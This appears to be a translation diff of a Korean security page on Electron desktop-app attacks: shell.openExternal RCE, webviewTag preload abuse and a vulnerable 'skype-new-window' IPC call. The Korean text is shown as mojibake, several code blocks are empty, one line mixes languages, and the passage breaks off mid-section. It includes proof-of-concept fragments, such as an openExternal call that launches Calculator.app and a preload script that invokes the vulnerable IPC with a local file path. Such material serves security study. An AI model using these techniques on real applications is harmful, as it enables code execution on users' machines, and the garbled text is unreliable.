[https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)์„ ํ™•์ธํ•˜์„ธ์š”. -Electron ๋ฐ์Šคํฌํ†ฑ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ๋ฐฐํฌํ•  ๋•Œ `nodeIntegration`๊ณผ `contextIsolation`์„ ์˜ฌ๋ฐ”๋ฅด๊ฒŒ ์„ค์ •ํ•˜๋Š” ๊ฒƒ์€ ๋งค์šฐ ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ์„ค์ •์ด ์ ์šฉ๋˜๋ฉด preload ์Šคํฌ๋ฆฝํŠธ๋‚˜ ๋ฉ”์ธ ํ”„๋กœ์„ธ์Šค์—์„œ Electron์˜ ๋„ค์ดํ‹ฐ๋ธŒ ์ฝ”๋“œ๋กœ ํ–ฅํ•˜๋Š” **client-side remote code execution (RCE)**๋Š” ํšจ๊ณผ์ ์œผ๋กœ ์ฐจ๋‹จ๋œ๋‹ค๊ณ  ์•Œ๋ ค์ ธ ์žˆ์Šต๋‹ˆ๋‹ค. +Electron ๋ฐ์Šคํฌํ†ฑ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ๋ฐฐํฌํ•  ๋•Œ `nodeIntegration`๊ณผ `contextIsolation` ์„ค์ •์„ ์˜ฌ๋ฐ”๋ฅด๊ฒŒ ๊ตฌ์„ฑํ•˜๋Š” ๊ฒƒ์€ ๋งค์šฐ ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ์„ค์ •์ด ์ ์šฉ๋˜์–ด ์žˆ์œผ๋ฉด ๋ฉ”์ธ ํ”„๋กœ์„ธ์Šค์—์„œ preload ์Šคํฌ๋ฆฝํŠธ๋‚˜ Electron์˜ ๋„ค์ดํ‹ฐ๋ธŒ ์ฝ”๋“œ๋ฅผ ๋Œ€์ƒ์œผ๋กœ ํ•˜๋Š” **client-side remote code execution (RCE)**๊ฐ€ ํšจ๊ณผ์ ์œผ๋กœ ๋ฐฉ์ง€๋œ๋‹ค๊ณ  ์•Œ๋ ค์ ธ ์žˆ์Šต๋‹ˆ๋‹ค. -์‚ฌ์šฉ์ž๊ฐ€ ๋งํฌ๋ฅผ ํด๋ฆญํ•˜๊ฑฐ๋‚˜ ์ƒˆ ์ฐฝ์„ ์—ด ๋•Œ ํŠน์ • ์ด๋ฒคํŠธ ๋ฆฌ์Šค๋„ˆ๊ฐ€ ํŠธ๋ฆฌ๊ฑฐ๋˜๋ฉฐ, ์ด๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ๋ณด์•ˆ๊ณผ ๊ธฐ๋Šฅ์— ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค: +์‚ฌ์šฉ์ž๊ฐ€ ๋งํฌ๋ฅผ ํด๋ฆญํ•˜๊ฑฐ๋‚˜ ์ƒˆ ์ฐฝ์„ ์—ด๋ฉด ํŠน์ • ์ด๋ฒคํŠธ ๋ฆฌ์Šค๋„ˆ๊ฐ€ ํŠธ๋ฆฌ๊ฑฐ๋˜๋ฉฐ, ์ด๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ๋ณด์•ˆ๊ณผ ๊ธฐ๋Šฅ์— ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค: ```javascript webContents.on("new-window", function (event, url, disposition, options) {} webContents.on("will-navigate", function (event, url) {} ``` -์ด๋“ค ๋ฆฌ์Šค๋„ˆ๋Š” **๋ฐ์Šคํฌํƒ‘ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์— ์˜ํ•ด ์˜ค๋ฒ„๋ผ์ด๋“œ๋˜์–ด** ์ž์ฒด์ ์ธ **๋น„์ฆˆ๋‹ˆ์Šค ๋กœ์ง**์„ ๊ตฌํ˜„ํ•ฉ๋‹ˆ๋‹ค. ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์€ ์ด๋™ํ•œ ๋งํฌ๋ฅผ ๋‚ด๋ถ€์—์„œ ์—ด์ง€ ์™ธ๋ถ€ ์›น ๋ธŒ๋ผ์šฐ์ €์—์„œ ์—ด์ง€๋ฅผ ํŒ๋‹จํ•ฉ๋‹ˆ๋‹ค. ์ด ๊ฒฐ์ •์€ ์ผ๋ฐ˜์ ์œผ๋กœ `openInternally` ํ•จ์ˆ˜์—์„œ ์ด๋ฃจ์–ด์ง‘๋‹ˆ๋‹ค. ํ•ด๋‹น ํ•จ์ˆ˜๊ฐ€ `false`๋ฅผ ๋ฐ˜ํ™˜ํ•˜๋ฉด ๋งํฌ๋ฅผ ์™ธ๋ถ€์—์„œ ์—ด์–ด์•ผ ํ•จ์„ ๋‚˜ํƒ€๋‚ด๋ฉฐ, ์ด๋•Œ `shell.openExternal` ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. +์ด ๋ฆฌ์Šค๋„ˆ๋“ค์€ ๋ฐ์Šคํฌํ†ฑ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์— ์˜ํ•ด **์žฌ์ •์˜๋˜์–ด** ์ž์ฒด **๋น„์ฆˆ๋‹ˆ์Šค ๋กœ์ง**์„ ๊ตฌํ˜„ํ•œ๋‹ค. ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์€ ํƒ์ƒ‰๋œ ๋งํฌ๋ฅผ ๋‚ด๋ถ€์—์„œ ์—ด์ง€ ์™ธ๋ถ€ ์›น ๋ธŒ๋ผ์šฐ์ €์—์„œ ์—ด์ง€ ์—ฌ๋ถ€๋ฅผ ํŒ๋‹จํ•œ๋‹ค. ์ด ๊ฒฐ์ •์€ ์ผ๋ฐ˜์ ์œผ๋กœ `openInternally` ํ•จ์ˆ˜๋ฅผ ํ†ตํ•ด ์ด๋ฃจ์–ด์ง„๋‹ค. ์ด ํ•จ์ˆ˜๊ฐ€ `false`๋ฅผ ๋ฐ˜ํ™˜ํ•˜๋ฉด, ํ•ด๋‹น ๋งํฌ๋Š” ์™ธ๋ถ€์—์„œ ์—ด๋ ค์•ผ ํ•˜๋ฉฐ `shell.openExternal` ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•œ๋‹ค๋Š” ์˜๋ฏธ๋‹ค. **๋‹ค์Œ์€ ๋‹จ์ˆœํ™”๋œ ์˜์‚ฌ์ฝ”๋“œ์ž…๋‹ˆ๋‹ค:** @@ -203,11 +203,11 @@ webContents.on("will-navigate", function (event, url) {} ![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](<../../../images/image (963).png>) -Electron JS์˜ ๋ณด์•ˆ ๊ถŒ์žฅ์‚ฌํ•ญ์€ `openExternal` ํ•จ์ˆ˜๋ฅผ ํ†ตํ•ด ์‹ ๋ขฐํ•  ์ˆ˜ ์—†๋Š” ์ฝ˜ํ…์ธ ๋ฅผ ๋ฐ›์•„๋“ค์ด์ง€ ์•Š์„ ๊ฒƒ์„ ๊ถŒ๊ณ ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ๋‹ค์–‘ํ•œ ํ”„๋กœํ† ์ฝœ์„ ํ†ตํ•ด RCE๋กœ ์ด์–ด์งˆ ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค. ์šด์˜ ์ฒด์ œ๋Š” RCE๋ฅผ ์œ ๋ฐœํ•  ์ˆ˜ ์žˆ๋Š” ์„œ๋กœ ๋‹ค๋ฅธ ํ”„๋กœํ† ์ฝœ์„ ์ง€์›ํ•ฉ๋‹ˆ๋‹ค. ์ด ์ฃผ์ œ์— ๋Œ€ํ•œ ์ž์„ธํ•œ ์˜ˆ์‹œ์™€ ์„ค๋ช…์€ [this resource](https://positive.security/blog/url-open-rce#windows-10-19042)๋ฅผ ์ฐธ๊ณ ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ํ•ด๋‹น ์ž๋ฃŒ์—๋Š” ์ด ์ทจ์•ฝ์ ์„ ์•…์šฉํ•  ์ˆ˜ ์žˆ๋Š” Windows ํ”„๋กœํ† ์ฝœ ์˜ˆ์‹œ๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. +Electron JS ๋ณด์•ˆ ๊ถŒ์žฅ์‚ฌํ•ญ์€ `openExternal` ํ•จ์ˆ˜๋ฅผ ํ†ตํ•ด ์‹ ๋ขฐํ•  ์ˆ˜ ์—†๋Š” ์ฝ˜ํ…์ธ ๋ฅผ ์ˆ˜์šฉํ•˜์ง€ ๋ง ๊ฒƒ์„ ๊ถŒ๊ณ ํ•œ๋‹ค. ์ด๋Š” ๋‹ค์–‘ํ•œ ํ”„๋กœํ† ์ฝœ์„ ํ†ตํ•ด RCE๋กœ ์ด์–ด์งˆ ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค. ์šด์˜์ฒด์ œ๋Š” RCE๋ฅผ ์œ ๋ฐœํ•  ์ˆ˜ ์žˆ๋Š” ์„œ๋กœ ๋‹ค๋ฅธ ํ”„๋กœํ† ์ฝœ๋“ค์„ ์ง€์›ํ•œ๋‹ค. ์ด ์ฃผ์ œ์— ๋Œ€ํ•œ ์ž์„ธํ•œ ์˜ˆ์‹œ์™€ ์ถ”๊ฐ€ ์„ค๋ช…์€ [this resource](https://positive.security/blog/url-open-rce#windows-10-19042)๋ฅผ ์ฐธ์กฐํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ํ•ด๋‹น ์ž๋ฃŒ์—๋Š” ์ด ์ทจ์•ฝ์ ์„ ์•…์šฉํ•  ์ˆ˜ ์žˆ๋Š” Windows ํ”„๋กœํ† ์ฝœ ์˜ˆ์‹œ๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ๋‹ค. -macos์—์„œ๋Š” `openExternal` ํ•จ์ˆ˜๋ฅผ ์•…์šฉํ•˜์—ฌ `shell.openExternal('file:///System/Applications/Calculator.app')`์™€ ๊ฐ™์ด ์ž„์˜์˜ ๋ช…๋ น์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +macos์—์„œ๋Š” `openExternal` ํ•จ์ˆ˜๊ฐ€ ์ž„์˜์˜ ๋ช…๋ น์„ ์‹คํ–‰ํ•˜๋„๋ก ์•…์šฉ๋  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์˜ˆ๋ฅผ ๋“ค์–ด `shell.openExternal('file:///System/Applications/Calculator.app')` ๊ฐ™์€ ๋ฐฉ์‹์ด ์žˆ๋‹ค. -**Windows ํ”„๋กœํ† ์ฝœ exploits์˜ ์˜ˆ์‹œ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:** +**Windows ํ”„๋กœํ† ์ฝœ ์ต์Šคํ”Œ๋กœ์ž‡์˜ ์˜ˆ์‹œ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค:** ```html ``` -## RCE: webviewTag + vulnerable preload IPC + shell.openExternal +## RCE: webviewTag + ์ทจ์•ฝํ•œ preload IPC + shell.openExternal -์ด ์ทจ์•ฝ์ ์€ **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค. +์ด ์ทจ์•ฝ์ ์€ **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -**webviewTag**๋Š” **์‚ฌ์šฉ ์ค‘๋‹จ๋œ ๊ธฐ๋Šฅ**์œผ๋กœ, **renderer process**์—์„œ **NodeJS** ์‚ฌ์šฉ์„ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” preload context ๋‚ด๋ถ€์— ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์Šคํฌ๋ฆฝํŠธ๋ฅผ ๋กœ๋“œํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•˜๋ฏ€๋กœ ๋น„ํ™œ์„ฑํ™”ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค: +The **webviewTag** is a **์‚ฌ์šฉ ์ค‘๋‹จ๋œ ๊ธฐ๋Šฅ** that allows the use of **NodeJS** in the **renderer process**, which should be disabled as it allows to load a script inside the preload ์ปจํ…์ŠคํŠธ like: ```xml ``` -๋”ฐ๋ผ์„œ ์ž„์˜์˜ ํŽ˜์ด์ง€๋ฅผ ๋กœ๋“œํ•  ์ˆ˜ ์žˆ๋Š” ๊ณต๊ฒฉ์ž๋Š” ํ•ด๋‹น ํƒœ๊ทธ๋ฅผ ์‚ฌ์šฉํ•ด **์ž„์˜์˜ preload ์Šคํฌ๋ฆฝํŠธ๋ฅผ ๋กœ๋“œํ•  ์ˆ˜ ์žˆ๋‹ค**. +๋”ฐ๋ผ์„œ ์ž„์˜์˜ ํŽ˜์ด์ง€๋ฅผ ๋กœ๋“œํ•˜๋Š” ๋ฐ ์„ฑ๊ณตํ•œ ๊ณต๊ฒฉ์ž๋Š” ํ•ด๋‹น ํƒœ๊ทธ๋ฅผ ์‚ฌ์šฉํ•ด **์ž„์˜์˜ preload script๋ฅผ ๋กœ๋“œ**ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -์ด preload ์Šคํฌ๋ฆฝํŠธ๋Š” ์ดํ›„ **์ทจ์•ฝํ•œ IPC ์„œ๋น„์Šค (`skype-new-window`)** ๋ฅผ ํ˜ธ์ถœํ•˜๋„๋ก ์•…์šฉ๋˜์—ˆ๊ณ , ํ•ด๋‹น ์„œ๋น„์Šค๊ฐ€ **`shell.openExternal`** ๋ฅผ ํ˜ธ์ถœํ•˜์—ฌ RCE๋ฅผ ํš๋“ํ–ˆ๋‹ค: +์ด preload script๋Š” ์ดํ›„ **vulnerable IPC service (`skype-new-window`)**๋ฅผ ํ˜ธ์ถœํ•˜๋„๋ก ์•…์šฉ๋˜์—ˆ๊ณ , ํ•ด๋‹น ์„œ๋น„์Šค๋Š” **`shell.openExternal`**์„ ํ˜ธ์ถœํ•˜์—ฌ RCE๋ฅผ ์œ ๋ฐœํ–ˆ์Šต๋‹ˆ๋‹ค: ```javascript (async() => { const { ipcRenderer } = require("electron"); @@ -250,11 +250,11 @@ await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Do ``` ## ๋‚ด๋ถ€ ํŒŒ์ผ ์ฝ๊ธฐ: XSS + contextIsolation -**`contextIsolation`์„ ๋น„ํ™œ์„ฑํ™”ํ•˜๋ฉด `` ํƒœ๊ทธ๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**, `